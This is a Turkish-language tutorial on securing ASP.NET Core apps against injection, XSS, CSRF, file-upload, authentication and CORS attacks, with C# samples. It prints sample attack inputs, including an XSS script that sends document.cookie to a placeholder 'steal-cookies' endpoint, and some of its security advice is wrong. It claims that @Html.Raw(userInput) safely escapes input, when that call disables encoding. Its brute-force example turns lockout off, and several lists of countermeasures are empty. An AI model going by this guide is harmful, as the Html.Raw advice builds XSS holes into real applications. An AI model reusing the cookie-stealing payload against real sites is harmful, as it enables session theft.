Advanced Security Practices for ASP.NET Core Applications

Common Vulnerabilities in Apps

Common security vulnerabilities

Web uygulamaları, çeşitli güvenlik tehditlerine karşı savunmasız olabilirler. Bu tehditler, saldırganların uygulamalarda kötü niyetli faaliyetlerde bulunmalarına ve hassas verilere erişmelerine olanak tanır. İşte en yaygın güvenlik açıkları:

• Injection Attacks (Enjeksiyon Saldırıları): Enjeksiyon saldırıları, kullanıcı tarafından sağlanan veri girişlerinin yanlış bir şekilde işlenmesi sonucunda ortaya çıkar. Örneğin, SQL enjeksiyonu, kötü niyetli kullanıcıların SQL sorgularını manipüle ederek veritabanına erişmelerini sağlar.
• Cross-Site Scripting (XSS): XSS saldırıları, saldırganların tarayıcıda çalışan betik kodlarını enjekte etmelerine ve bu kodların diğer kullanıcılara sunulan içerikler aracılığıyla çalıştırılmasına neden olur. Bu, kullanıcıların oturumlarını ele geçirebilir veya hassas verilere erişebilir.
• Cross-Site Request Forgery (CSRF): CSRF saldırıları, yetkilendirilmiş bir kullanıcının adına, kullanıcının isteği olmadan kötü niyetli bir eylem gerçekleştiren isteklerin yapılmasını içerir. Bu, kullanıcıların bilmeden istenmeyen işlemleri gerçekleştirmelerine neden olabilir.
• Sensitive Data Exposure (Hassas Verilerin Açığa Çıkması): Hassas verilerin uygun şekilde korunmaması, saldırganların bu verilere erişmelerini kolaylaştırabilir. Bu, şifreleme kullanılmadığında veya güvenli olmayan şekilde depolandığında gerçekleşebilir.
• Broken Authentication and Session Management (Kırık Kimlik Doğrulama ve Oturum Yönetimi): Kırık kimlik doğrulama ve oturum yönetimi, saldırganların kullanıcı hesaplarını ele geçirmelerini ve oturumlarını kontrol etmelerini sağlar.
• Insecure Direct Object References (Güvensiz Doğrudan Nesne Referansları): Bu açık, uygulama tarafından doğrudan kullanıcı tarafından kontrol edilen nesnelere erişimi sağlar. Kötü niyetli kullanıcılar, bu referansları manipüle ederek hassas verilere erişebilirler.

Bu güvenlik açıkları, web uygulamalarının geliştirilmesi ve test edilmesi sırasında dikkate alınmalıdır. Kod örnekleriyle bu açıkların nasıl giderilebileceğini inceleyelim:

Örnek: SQL Injection

// Kötü kullanıcı tarafından sağlanan giriş
string userInput = "' OR 1=1; --";

// Güvenli sorgu oluşturma
string query = "SELECT * FROM Users WHERE Username = @Username AND Password = @Password";
using (SqlCommand command = new SqlCommand(query, connection))
{
    command.Parameters.AddWithValue("@Username", username);
    command.Parameters.AddWithValue("@Password", password);
    SqlDataReader reader = command.ExecuteReader();
    // Diğer işlemler...
}

Yukarıdaki örnekte, SQL Injection saldırılarına karşı korunmak için parametreize edilmiş sorgular kullanılır. Kullanıcı girişi, parametreler aracılığıyla sorguya eklenir, bu da SQL enjeksiyonunu önler.

Bu gibi güvenlik açıklarını önlemek için, uygulamanın geliştirilme ve test edilme aşamasında güvenlik açıklarını tespit etmek ve düzeltmek için önlemler alınmalıdır. Ayrıca, güvenlik açıklarını önlemek için çeşitli güvenlik kütüphaneleri ve framework’lerden yararlanılabilir.

Injection attack

Enjeksiyon saldırıları, bir web uygulamasının güvenlik açıklarını kullanarak kötü niyetli kullanıcıların uygulamanın veritabanına veya başka bir sistem kaynağına zararlı kod enjekte etmelerini sağlayan bir tür saldırıdır. Bu saldırılar, web uygulamalarındaki giriş doğrulama veya veritabanı sorguları gibi kullanıcı girişlerinin doğru bir şekilde işlenmediği veya doğrulanmadığı durumlarda ortaya çıkabilir.

1. SQL Injection (SQL Enjeksiyonu): SQL enjeksiyonu, kötü niyetli kullanıcıların SQL sorgularını manipüle ederek veritabanına erişmelerini sağlar. Bu saldırı, genellikle web formları, URL parametreleri veya HTTP başlıkları aracılığıyla gelen kullanıcı girişleri kullanılarak gerçekleştirilir.

Örnek bir SQL Injection saldırısı şöyle görünebilir:

SELECT * FROM Users WHERE Username = '' OR '1'='1';

Bu sorgu, kullanıcı adı alanına ‘ OR ‘1’=’1 şeklinde girilen bir veri ile gerçekleştirilir. Bu, her zaman doğru olan bir koşulu sağlar, böylece saldırganın tüm kullanıcı kayıtlarını getirmesine izin verir.

Bu tür saldırılardan korunmak için parametreize edilmiş sorguların kullanılması önemlidir. Örneğin, ASP.NET Core’da parametreize edilmiş sorgu şu şekildedir:

string query = "SELECT * FROM Users WHERE Username = @Username AND Password = @Password";
using (SqlCommand command = new SqlCommand(query, connection))
{
    command.Parameters.AddWithValue("@Username", username);
    command.Parameters.AddWithValue("@Password", password);
    SqlDataReader reader = command.ExecuteReader();
    // Diğer işlemler...
}

Bu kod örneği, kullanıcı girişlerini parametreler aracılığıyla sorguya ekler, böylece SQL enjeksiyonunu önler.

2. LDAP Injection: LDAP (Lightweight Directory Access Protocol) enjeksiyonu, bir web uygulamasının LDAP sorgularını manipüle etmek suretiyle kullanıcıların kimlik bilgilerine erişmesini sağlar. Bu tür saldırılar, genellikle bir web uygulaması, kullanıcıların kimlik doğrulama veya yetkilendirme için bir LDAP sunucusuna sorgular gönderdiğinde ortaya çıkar.

LDAP enjeksiyonundan korunmak için, güvenlik açıklarını tespit etmek ve düzeltmek için kodun iyi bir şekilde denetlenmesi önemlidir. Kullanıcı girişleri ve diğer dışarıdan alınan veriler daima güvenilir şekilde işlenmeli ve filtrelenmelidir.

3. XSS (Cross-Site Scripting) Injection: XSS enjeksiyonu, kötü niyetli kullanıcıların web uygulamasında çalıştırılmak üzere zararlı JavaScript kodlarını enjekte etmelerini sağlar. Bu, kullanıcı giriş alanlarında veya web sayfalarında işlenmeyen HTML veya JavaScript kodları gönderilerek gerçekleştirilir.

Bu saldırılardan korunmak için, kullanıcı girişleri ve dışarıdan alınan veriler her zaman güvenli bir şekilde filtrelenmeli veya kaçış karakterleri (escape characters) kullanılarak işlenmelidir. Örneğin, ASP.NET Core’da, Razor sayfalarında HTML içeriği kaçış karakterleri ile işlenebilir:

<p>@Html.Raw(userInput)</p>

Bu, kullanıcı girişi olan userInput’in HTML kodunu güvenli bir şekilde işler ve XSS saldırılarını önler.

Bu, enjeksiyon saldırılarının sadece birkaç örneğidir. Genel olarak, enjeksiyon saldırılarından korunmak için, dışarıdan gelen verilerin daima güvenli bir şekilde işlenmesi ve sorguların parametreize edilmesi veya doğru bir şekilde kaçış karakterleri ile işlenmesi önemlidir. Ayrıca, uygulamanızın güvenlik açıklarını belirlemek ve gidermek için düzenli güvenlik kontrolleri yapılması da önemlidir.

File upload attack

Dosya yükleme saldırıları, bir web uygulamasının güvenlik açıklarını kullanarak kötü niyetli kullanıcıların zararlı dosyaları sunucuya yüklemelerini sağlayan bir tür saldırıdır. Bu saldırılar, web uygulamalarında kullanıcıların yükleyebileceği dosyalara sınırlama koymamak veya gerekli doğrulama ve doğrulama kontrollerini yapmamak gibi güvenlik önlemlerinin ihlali sonucunda ortaya çıkabilir.

1. Zararlı Dosya Yükleme (Malicious File Upload): Bu saldırı, kötü niyetli kullanıcıların zararlı dosyaları sunucuya yüklemelerini sağlar. Bu dosyalar genellikle kötü amaçlı yazılımları veya güvenlik açıklarını içerir ve sunucuda zararlı işlemlerin gerçekleştirilmesine neden olabilir.

2. Dosya Yüklerken Dosya Türü Kontrolü Eksikliği: Bu tür bir saldırıda, kötü niyetli kullanıcılar, sunucuya zararlı bir dosya yüklemek için dosya uzantılarını değiştirerek veya sahte dosya türü bilgileri sağlayarak güvenlik önlemlerini atlayabilirler. Örneğin, bir kötü niyetli kullanıcı bir .exe dosyasını .jpg olarak adlandırarak yükleyebilir ve ardından sunucuda çalıştırılmasını sağlamaya çalışabilir.

3. Dosya Boyutu Sınırlamasının Eksikliği: Dosya yükleme formlarında dosya boyutu sınırlaması olmaması durumunda, kötü niyetli kullanıcılar büyük boyuttaki dosyaları sunucuya yükleyerek sunucu kaynaklarını tüketebilir veya hizmet reddi saldırıları gerçekleştirebilirler.

Bu tür saldırılardan korunmak için, aşağıdaki güvenlik önlemlerini uygulamak önemlidir:

1. Doğrulama ve Doğrulama Kontrolleri: Dosya yükleme işlemi sırasında, kullanıcıların yalnızca belirli dosya türlerini ve boyutlarını yüklemelerine izin vermek için doğrulama ve doğrulama kontrolleri yapılmalıdır. Bu, sunucuya yüklenen dosyaların güvenli ve beklenen dosyalar olduğunu sağlar.

2. Dosya Türü ve Uzantısı Kontrolü: Dosya yükleme işlemi sırasında, sunucuya yüklenen dosyaların gerçek dosya türünü ve uzantısını doğrulamak önemlidir. Bu, kullanıcıların dosya uzantılarını değiştirerek veya sahte dosya türü bilgileri sağlayarak güvenlik önlemlerini atlamalarını önler.

3. Dosya Boyutu Sınırlaması: Dosya yükleme işlemi sırasında, sunucuya yüklenen dosyaların boyutunu sınırlamak önemlidir. Bu, sunucunun kaynaklarının gereksiz yüklenme veya hizmet reddi saldırılarına karşı korunmasını sağlar.

4. Güvenli Depolama ve İşleme: Sunucuya yüklenen dosyalar, güvenli bir şekilde depolanmalı ve işlenmelidir. Bu, kötü niyetli kullanıcıların sunucuda zararlı işlemler gerçekleştirmesini önler.

ASP.NET Core’da dosya yükleme işlemlerini güvenli bir şekilde gerçekleştirmek için, aşağıdaki kod örneğinde olduğu gibi doğrulama ve doğrulama kontrollerini yapabilirsiniz:

[HttpPost]
public async Task<IActionResult> Upload(IFormFile file)
{
    if (file == null || file.Length == 0)
    {
        return BadRequest("Dosya seçilmedi veya boş.");
    }

    // Dosya türü ve boyutu kontrolü
    if (!IsImage(file) || file.Length > _maxFileSize)
    {
        return BadRequest("Geçersiz dosya türü veya boyutu.");
    }

    // Dosya yükleme işlemi
    var fileName = Guid.NewGuid().ToString() + Path.GetExtension(file.FileName);
    var filePath = Path.Combine(_uploadPath, fileName);
    using (var stream = new FileStream(filePath, FileMode.Create))
    {
        await file.CopyToAsync(stream);
    }

    // Başarılı yanıt
    return Ok("Dosya başarıyla yüklendi.");
}

private bool IsImage(IFormFile file)
{
    return file.ContentType.StartsWith("image/") &&
           (file.FileName.EndsWith(".jpg") || file.FileName.EndsWith(".jpeg") || file.FileName.EndsWith(".png"));
}

Yukarıdaki örnek, bir ASP.NET Core controller’ında dosya yükleme işleminin güvenli bir şekilde gerçekleştirilmesini göstermektedir. Dosya türü ve boyutu kontrol edilir ve uygun olmadığı durumda uygun yanıtlar döndürülür. Dosya yüklenirken güvenlik önlemleri alınarak kötü niyetli kullanıcıların sunucuya zararlı dosyalar yüklemesi önlenir.

Authentication attack

Kimlik doğrulama saldırıları, bir web uygulamasının kimlik doğrulama mekanizmalarını kötüye kullanarak yetkisiz erişim elde etmeye çalışan saldırganlar tarafından gerçekleştirilen saldırılardır. Bu tür saldırılar, web uygulamalarının kimlik doğrulama işlemlerindeki zayıf noktaları hedef alır ve kullanıcıların hesaplarını ele geçirmeyi veya yetkili olmayan erişim elde etmeyi amaçlar.

1. Brute Force Attack (Kaba Kuvvet Saldırısı): Kaba kuvvet saldırıları, saldırganların kullanıcı adı ve şifre kombinasyonlarını deneyerek sisteme erişmeye çalıştığı bir tür saldırıdır. Bu saldırılar genellikle oturum açma sayfalarına veya kimlik doğrulama API’lerine yöneliktir.

Kaba kuvvet saldırılarından korunmak için, aşağıdaki önlemler alınabilir:

2. Password Spraying Attack (Parola Sıvama Saldırısı): Bu saldırıda, saldırganlar popüler veya zayıf şifreleri kullanarak birçok kullanıcı hesabını hedef alırlar. Bu saldırı, genellikle saldırganların belirli bir hesabın parolasını tahmin etmek için büyük bir şifre listesini kullanmasını içerir.

Parola sıvama saldırılarından korunmak için, aşağıdaki önlemler alınabilir:

3. Credential Stuffing Attack (Kimlik Bilgileri Doldurma Saldırısı): Bu saldırıda, saldırganlar daha önceki veri ihlallerinden elde ettikleri kullanıcı kimlik bilgilerini kullanarak birden fazla uygulamada oturum açmayı deneyerek yetkisiz erişim elde etmeye çalışırlar.

Kimlik bilgileri doldurma saldırılarından korunmak için, aşağıdaki önlemler alınabilir:

ASP.NET Core’da kimlik doğrulama saldırılarına karşı korunmak için, aşağıdaki kod örneğinde olduğu gibi güvenlik önlemleri alabilirsiniz:

[HttpPost]
[ValidateAntiForgeryToken] // CSRF saldırılarına karşı koruma
public async Task<IActionResult> Login(LoginViewModel model)
{
    if (ModelState.IsValid)
    {
        var result = await _signInManager.PasswordSignInAsync(model.Username, model.Password, model.RememberMe, lockoutOnFailure: false);
        if (result.Succeeded)
        {
            _logger.LogInformation("Kullanıcı başarıyla oturum açtı.");
            return RedirectToAction("Index", "Home");
        }
        if (result.IsLockedOut)
        {
            _logger.LogWarning("Hesap kilitlendi.");
            return RedirectToAction("Lockout");
        }
        else
        {
            _logger.LogWarning("Geçersiz oturum açma denemesi.");
            ModelState.AddModelError(string.Empty, "Geçersiz kullanıcı adı veya şifre.");
            return View(model);
        }
    }
    return View(model);
}

Yukarıdaki örnek, ASP.NET Core’da bir oturum açma işlemi gerçekleştirirken CSRF saldırılarına karşı koruma sağlar ve başarısız oturum açma denemeleri durumunda kullanıcıyı uygun şekilde yönlendirir. Bu tür önlemler, kimlik doğrulama saldırılarına karşı korumanın bir parçası olarak alınabilir.

XSS and CSRF attack

XSS (Cross-Site Scripting) ve CSRF (Cross-Site Request Forgery) saldırıları, web uygulamalarının güvenlik açıklarını hedef alan ve yaygın olarak kötü amaçlı kullanıcılar tarafından kullanılan iki önemli saldırı türüdür. Her ikisi de web uygulamalarını etkileyebilir ve kullanıcıların güvenliğini tehlikeye atabilir.

XSS (Cross-Site Scripting) Saldırısı:

XSS saldırıları, kötü niyetli kullanıcıların web uygulamasına zararlı JavaScript kodlarını enjekte etmelerini sağlar. Bu kodlar, son kullanıcıların tarayıcılarında çalıştırılarak çeşitli zararlı işlemler gerçekleştirebilirler. XSS saldırıları genellikle kullanıcı giriş formları, yorum kutuları veya URL parametreleri aracılığıyla gerçekleştirilir.

Örnek bir XSS saldırısı şöyle görünebilir:

<script>
  fetch('https://example.com/steal-cookies?data=' + document.cookie);
</script>

Bu kod, kullanıcının çerezlerini çalan ve saldırganın kontrol ettiği bir sunucuya gönderen bir JavaScript kodudur. Bu, kullanıcıların oturum bilgilerini veya diğer hassas bilgileri ele geçirmek için kullanılabilir.

XSS saldırılarından korunmak için, aşağıdaki önlemler alınabilir:

CSRF (Cross-Site Request Forgery) Saldırısı:

CSRF saldırıları, kötü niyetli kullanıcıların yetkisiz işlemler yapmak için meşru kullanıcıların oturumlarını kullanmalarını sağlar. Bu saldırılar, genellikle kullanıcıların oturumlarını ele geçiren ve sonra meşru web uygulamasında oturum açmış gibi işlem yapan saldırganlar tarafından gerçekleştirilir.

Örnek bir CSRF saldırısı şöyle görünebilir:

<img src="https://example.com/delete-account">

Bu kod, bir kullanıcının hesabını silmek için yetkisiz bir istek gönderen bir görüntü etiketi içerir. Eğer bu görüntü etiketi kullanıcının bir tarayıcısında çalıştırılırsa ve o kullanıcı meşru bir oturum açmışsa, bu istek meşru gibi görünebilir ve kullanıcının hesabı silinebilir.

CSRF saldırılarından korunmak için, aşağıdaki önlemler alınabilir:

ASP.NET Core’da XSS ve CSRF saldırılarına karşı korunmak için aşağıdaki gibi güvenlik önlemleri alınabilir:

// XSS saldırılarından korunma
[HttpPost]
[ValidateAntiForgeryToken] // CSRF saldırılarından korunma
public async Task<IActionResult> Create([Bind("Id,Title,Content")] Post post)
{
    if (ModelState.IsValid)
    {
        // XSS saldırılarından korunma için kullanıcı girişlerini işleme
        post.Title = WebUtility.HtmlEncode(post.Title);
        post.Content = WebUtility.HtmlEncode(post.Content);

        _context.Add(post);
        await _context.SaveChangesAsync();
        return RedirectToAction(nameof(Index));
    }
    return View(post);
}

Yukarıdaki kod örneği, ASP.NET Core’da XSS saldırılarından korunmak için kullanıcı girişlerini HTML özel karakterlerine dönüştürür. CSRF saldırılarından korunmak için de [ValidateAntiForgeryToken] özniteliği kullanılır.

CORS attack

CORS (Cross-Origin Resource Sharing), bir web tarayıcısının, bir web uygulaması sunucusunun alan adı, protokol veya bağlantı noktası gibi belirli özelliklerini paylaşmayan başka bir kaynaktan kaynak almasına izin veren bir mekanizmadır. CORS saldırıları, kötü niyetli bir web sitesinin, bir kullanıcının tarayıcısında çalışan güvenilir bir web uygulamasına zararlı içerik veya istekler göndermesini sağlar. Bu, kullanıcıların hassas bilgilerini çalabilir veya zararlı eylemler gerçekleştirebilir.

1. CORS Saldırı Türleri:

2. CORS Saldırılarının Önlenmesi:

ASP.NET Core’da CORS saldırılarından korunmak için aşağıdaki gibi güvenlik önlemleri alınabilir:

public void ConfigureServices(IServiceCollection services)
{
    services.AddCors(options =>
    {
        options.AddPolicy("MyCorsPolicy",
            builder =>
            {
                builder.WithOrigins("https://trusted-site.com")
                    .AllowAnyHeader()
                    .AllowAnyMethod();
            });
    });
    services.AddControllers();
}

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
    app.UseCors("MyCorsPolicy");
    app.UseRouting();
    app.UseAuthorization();
    app.UseEndpoints(endpoints =>
    {
        endpoints.MapControllers();
    });
}

Yukarıdaki kod örneği, ASP.NET Core uygulamasında CORS politikalarını tanımlar. “MyCorsPolicy” adlı bir CORS politikası oluşturulur ve sadece “https://trusted-site.com” kaynağından gelen isteklere izin verilir. Ardından, bu politika UseCors yöntemiyle uygulanır. Bu sayede, yalnızca güvenilir kaynaklardan gelen isteklere izin verilir ve CORS saldırılarının önlenmesine yardımcı olunur.

Securing .NET Web Applications with Authentication

What is authentication?

Kimlik doğrulama (authentication), bir kullanıcının kimlik bilgilerini doğrulayarak bir web uygulamasına erişim sağlamasını sağlayan süreçtir. Kimlik doğrulama, kullanıcıların gerçek kimliklerini doğrulamak ve yetkilendirmek için kullanılan bir güvenlik önlemidir. Bir web uygulamasında kimlik doğrulaması, kullanıcı adı ve şifre gibi kimlik bilgilerini doğrulama, kullanıcıların oturum açmasını sağlama ve güvenli bir şekilde erişim kontrolü yapma işlemlerini içerir.

Kimlik doğrulama süreci genellikle şu adımları içerir:

ASP.NET Core’da kimlik doğrulama işlemleri genellikle Authentication Middleware ve Identity servisleri aracılığıyla yapılır. Aşağıda, basit bir kimlik doğrulama işlemi için bir ASP.NET Core uygulamasında kullanılabilecek bir kod örneği bulunmaktadır:

public void ConfigureServices(IServiceCollection services)
{
    services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
        .AddCookie(options =>
        {
            options.LoginPath = "/Account/Login";
            options.AccessDeniedPath = "/Account/AccessDenied";
        });

    // Diğer servislerin konfigürasyonu
}

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
    // Diğer middleware'lerin eklenmesi

    app.UseAuthentication(); // Kimlik doğrulama middleware'inin eklenmesi
    app.UseAuthorization(); // Yetkilendirme middleware'inin eklenmesi

    // Diğer middleware'lerin eklenmesi
}

Yukarıdaki kod örneği, ASP.NET Core uygulamasında kimlik doğrulama için Cookie tabanlı kimlik doğrulama kullanımını tanımlar. services.AddAuthentication() yöntemi ile kimlik doğrulama hizmeti eklenir ve app.UseAuthentication() yöntemi ile kimlik doğrulama middleware’i uygulamaya eklenir. Ayrıca, kullanıcı oturum açma sayfası ve yetkisiz erişim durumunda yönlendirilecek sayfalar belirtilir.

Bu şekilde, ASP.NET Core uygulaması, kullanıcıların kimlik bilgilerini doğrulayabilir ve güvenli bir şekilde erişim kontrolü yapabilir. Bu sayede, uygulamanın güvenliği sağlanmış olur ve yetkisiz erişimlerin önüne geçilmiş olur.

Identity on ASP.NET Core

ASP.NET Core uygulamalarında kimlik doğrulama ve yetkilendirme işlemleri genellikle ASP.NET Core Identity ile gerçekleştirilir. ASP.NET Core Identity, kimlik yönetimi için kullanılan bir çerçevedir ve kullanıcıların kimlik doğrulama, oturum yönetimi ve rol bazlı yetkilendirme gibi işlemlerini kolayca yönetmenizi sağlar.

ASP.NET Core Identity Nedir?

ASP.NET Core Identity, bir ASP.NET Core uygulamasında kullanıcı yönetimi işlevselliğini sağlayan bir çerçevedir. Kullanıcıların kaydedilmesi, oturum yönetimi, roller ve izinlerin yönetimi gibi kimlik doğrulama ve yetkilendirme işlemlerini kolaylaştırır.

ASP.NET Core Identity’nin Temel Özellikleri:

ASP.NET Core Identity’nin Kullanımı:

ASP.NET Core Identity’yi kullanmak için öncelikle uygulamaya Identity paketlerinin eklenmesi gereklidir. Bu paketler, Entity Framework Core kullanarak kimlik verilerinin saklanmasını sağlar. Ardından, Identity servislerinin yapılandırılması ve kullanıcıların kaydedilmesi, oturum yönetimi ve yetkilendirme işlemlerinin gerçekleştirilmesi için gerekli kodlar yazılır.

Örnek bir ASP.NET Core Identity kullanımı:

public void ConfigureServices(IServiceCollection services)
{
    services.AddDbContext<ApplicationDbContext>(options =>
        options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));

    services.AddDefaultIdentity<ApplicationUser>(options =>
    {
        options.SignIn.RequireConfirmedAccount = true;
        options.Password.RequireDigit = true;
        options.Password.RequireLowercase = true;
        options.Password.RequireUppercase = true;
        options.Password.RequireNonAlphanumeric = true;
        options.Password.RequiredLength = 8;
    })
    .AddEntityFrameworkStores<ApplicationDbContext>();
}

Oturum Yönetimi Middleware’inin Eklendiği Configure Metodu:

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
    // Diğer middleware'lerin eklenmesi

    app.UseAuthentication(); // Kimlik doğrulama middleware'inin eklenmesi
    app.UseAuthorization(); // Yetkilendirme middleware'inin eklenmesi

    // Diğer middleware'lerin eklenmesi
}

Kullanıcı Yönetimi İşlemleri:

public async Task<IActionResult> Register(RegisterViewModel model)
{
    if (ModelState.IsValid)
    {
        var user = new ApplicationUser { UserName = model.Email, Email = model.Email };
        var result = await _userManager.CreateAsync(user, model.Password);
        if (result.Succeeded)
        {
            // Kullanıcı başarılı şekilde kaydedildi
            return RedirectToAction("Index", "Home");
        }
        foreach (var error in result.Errors)
        {
            ModelState.AddModelError("", error.Description);
        }
    }
    return View(model);
}

Yukarıdaki örnekler, ASP.NET Core Identity’nin kullanımını göstermektedir. Bu sayede, uygulamalarda kimlik doğrulama ve yetkilendirme işlemleri kolayca gerçekleştirilebilir ve güvenlik sağlanabilir.

Simple authentication with [Authorize] attribute

“Authorize” özniteliği, ASP.NET Core uygulamalarında basit kimlik doğrulama işlemlerini gerçekleştirmek için kullanılır. Bu öznitelik, bir denetleyici veya yöntem üzerinde yetkilendirme gereksinimlerini belirtmek için kullanılır. Kullanıcılar, yetkilendirme gereksinimlerini karşılamıyorsa, erişim reddedilir ve kullanıcılar belirtilen bir hata sayfasına yönlendirilir.

Authorize Özniteliği Nedir?

“Authorize” özniteliği, bir denetleyici veya yönteme yetkilendirme gereksinimi eklemek için kullanılır. Bu özniteliği kullanarak, belirli bir kullanıcının veya rolün erişimini sınırlayabilirsiniz. Bir kullanıcı oturum açmadıysa veya yetkilendirme gereksinimlerini karşılamıyorsa, otomatik olarak bir yetkilendirme hatası alır.

Authorize Özniteliğinin Kullanımı:

Öncelikle, bir denetleyici veya bir yöntem üzerinde “Authorize” özniteliğini kullanarak kimlik doğrulama işlemlerini etkinleştirmeniz gerekir. Örneğin, aşağıdaki gibi bir denetleyiciye “Authorize” özniteliği ekleyebilirsiniz:

[Authorize]
public class SecureController : Controller
{
    public IActionResult Index()
    {
        return View();
    }
}

Yukarıdaki örnekte, “SecureController” adında bir denetleyici oluşturulmuş ve üzerine “[Authorize]” özniteliği uygulanmıştır. Bu, “SecureController” içindeki tüm yöntemlerin yetkilendirme gereksinimine sahip olduğu anlamına gelir.

Ayrıca, yalnızca belirli rollerin veya politikaların erişimine izin vermek için “Authorize” özniteliğini kullanabilirsiniz. Örneğin:

[Authorize(Roles = "Admin")]
public class AdminController : Controller
{
    public IActionResult Index()
    {
        return View();
    }
}

Yukarıdaki örnekte, sadece “Admin” rolüne sahip kullanıcılar “AdminController” içindeki yöntemlere erişebilir.

Özel Hata Sayfası ile Yetkilendirme Hatalarının İşlenmesi:

ASP.NET Core, kullanıcıların yetkilendirme hatalarıyla karşılaştıklarında yönlendirilecekleri varsayılan bir hata sayfası sağlar. Ancak, özel bir hata sayfası belirlemek isterseniz, “Startup.cs” dosyasında aşağıdaki gibi bir yapılandırma yapabilirsiniz:

public void ConfigureServices(IServiceCollection services)
{
    services.AddControllersWithViews(options =>
    {
        options.Filters.Add(new AuthorizeFilter(new AuthorizationPolicyBuilder().RequireAuthenticatedUser().Build()));
    });
}

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
    // Diğer middleware'lerin eklenmesi

    app.UseStatusCodePagesWithRedirects("/Error/{0}"); // Hata durumlarını yönlendirmek için özel bir hata sayfası belirleme

    app.UseRouting();
    app.UseAuthorization();
    app.UseEndpoints(endpoints =>
    {
        endpoints.MapControllerRoute(
            name: "default",
            pattern: "{controller=Home}/{action=Index}/{id?}");
    });

    // Diğer middleware'lerin eklenmesi
}

Yukarıdaki yapılandırmada, yetkilendirme hatası durumlarında “/Error/{0}” sayfasına yönlendirilecektir. Bu sayede, kullanıcılar özel bir hata sayfasına yönlendirilir ve yetkilendirme hataları uygun şekilde işlenir.

Cookie-based authentication

Cookie tabanlı kimlik doğrulama, web uygulamalarında yaygın olarak kullanılan bir kimlik doğrulama yöntemidir. Bu yöntemde, kullanıcıların oturum bilgileri (oturum kimliği, yetkilendirme bilgileri vb.) bir HTTP çerezinde saklanır ve tarayıcı tarafından sunucuya her istek yapıldığında bu çerez sunucuya gönderilir. Sunucu, aldığı çerez bilgilerini kullanarak kullanıcının kimliğini doğrular ve yetkilendirme işlemlerini gerçekleştirir.

Cookie Tabanlı Kimlik Doğrulamanın Çalışma Prensibi:

Cookie Tabanlı Kimlik Doğrulama Örnek Kod:

Aşağıda, ASP.NET Core uygulamasında cookie tabanlı kimlik doğrulama işlemini etkinleştiren ve yapılandıran bir örnek kod bulunmaktadır:

public void ConfigureServices(IServiceCollection services)
{
    services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)
        .AddCookie(options =>
        {
            options.LoginPath = "/Account/Login"; // Kullanıcı oturum açmadıysa yönlendirilecek sayfa
            options.AccessDeniedPath = "/Account/AccessDenied"; // Kullanıcının yetkisi yoksa yönlendirilecek sayfa
            options.Cookie.HttpOnly = true; // Çerezler sadece HTTP üzerinden erişilebilir
            options.ExpireTimeSpan = TimeSpan.FromMinutes(30); // Oturum süresi
        });

    // Diğer servislerin konfigürasyonu
}

public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
    // Diğer middleware'lerin eklenmesi

    app.UseAuthentication(); // Kimlik doğrulama middleware'inin eklenmesi
    app.UseAuthorization(); // Yetkilendirme middleware'inin eklenmesi

    // Diğer middleware'lerin eklenmesi
}

Yukarıdaki kod örneği, ASP.NET Core uygulamasında cookie tabanlı kimlik doğrulama işlemini etkinleştirir. “AddAuthentication” yöntemi ile kimlik doğrulama hizmeti eklenir ve “AddCookie” yöntemi ile cookie tabanlı kimlik doğrulama yapılandırılır. “UseAuthentication” ve “UseAuthorization” yöntemleri, kimlik doğrulama ve yetkilendirme middleware’lerini uygulamaya ekler.

Bu şekilde, ASP.NET Core uygulamanızda cookie tabanlı kimlik doğrulama işlemini etkinleştirebilir ve güvenli bir şekilde kullanıcı kimlik doğrulama ve yetkilendirme işlemlerini gerçekleştirebilirsiniz.

Social media provider authentication

Sosyal medya sağlayıcılarıyla kimlik doğrulama, kullanıcıların web uygulamanıza Facebook, Google, Twitter gibi sosyal medya hesaplarıyla giriş yapmalarını sağlayan bir yöntemdir. Bu yöntem, kullanıcıların daha kolay ve hızlı bir şekilde kayıt olmalarını ve oturum açmalarını sağlar. ASP.NET Core uygulamalarında bu işlevselliği sağlamak için OAuth 2.0 protokolü kullanılır.

Sosyal Medya Sağlayıcılarıyla Kimlik Doğrulamanın Çalışma Prensibi:

Sosyal Medya Sağlayıcılarıyla Kimlik Doğrulama Örnek Kod:

Öncelikle, uygulamanızın hangi sosyal medya sağlayıcılarıyla kimlik doğrulama yapacağını belirtmeniz gerekir. Bunun için, Startup.cs dosyasında AddAuthentication yöntemini kullanarak sosyal medya sağlayıcılarını ekleyebilirsiniz. Örneğin, Google hesaplarıyla kimlik doğrulama eklemek için:

public void ConfigureServices(IServiceCollection services)
{
    services.AddAuthentication()
        .AddGoogle(options =>
        {
            options.ClientId = Configuration["Authentication:Google:ClientId"];
            options.ClientSecret = Configuration["Authentication:Google:ClientSecret"];
        });

    // Diğer servislerin konfigürasyonu
}

Yukarıdaki kod örneğinde, .AddGoogle yöntemi kullanılarak Google kimlik doğrulama sağlayıcısı eklenmiştir. options.ClientId ve options.ClientSecret özellikleri, Google API’den alınan istemci kimliği ve istemci sırrıyla doldurulmalıdır.

Daha sonra, kullanıcıları yönlendirmek ve kimlik bilgilerini almak için bir denetleyici oluşturmanız gerekir. Örneğin:

public class AccountController : Controller
{
    [HttpGet]
    public IActionResult ExternalLogin(string provider, string returnUrl = null)
    {
        var redirectUrl = Url.Action(nameof(ExternalLoginCallback), "Account", new { returnUrl });
        var properties = _signInManager.ConfigureExternalAuthenticationProperties(provider, redirectUrl);
        return Challenge(properties, provider);
    }

    [HttpGet]
    public async Task<IActionResult> ExternalLoginCallback(string returnUrl = null, string remoteError = null)
    {
        // Kimlik doğrulama işlemleri ve oturum açma
    }
}

Yukarıdaki örnekte, ExternalLogin yöntemi, kullanıcıyı sosyal medya sağlayıcısının kimlik doğrulama ekranına yönlendirir. ExternalLoginCallback yöntemi, sosyal medya sağlayıcısından dönen cevabı işler ve gerekli kimlik bilgilerini alır.

Bu şekilde, ASP.NET Core uygulamanızda sosyal medya sağlayıcılarıyla kimlik doğrulama işlevselliğini kolayca ekleyebilirsiniz. Bu, kullanıcıların daha kolay ve hızlı bir şekilde uygulamanıza kaydolmalarını ve oturum açmalarını sağlar.

Email account verification

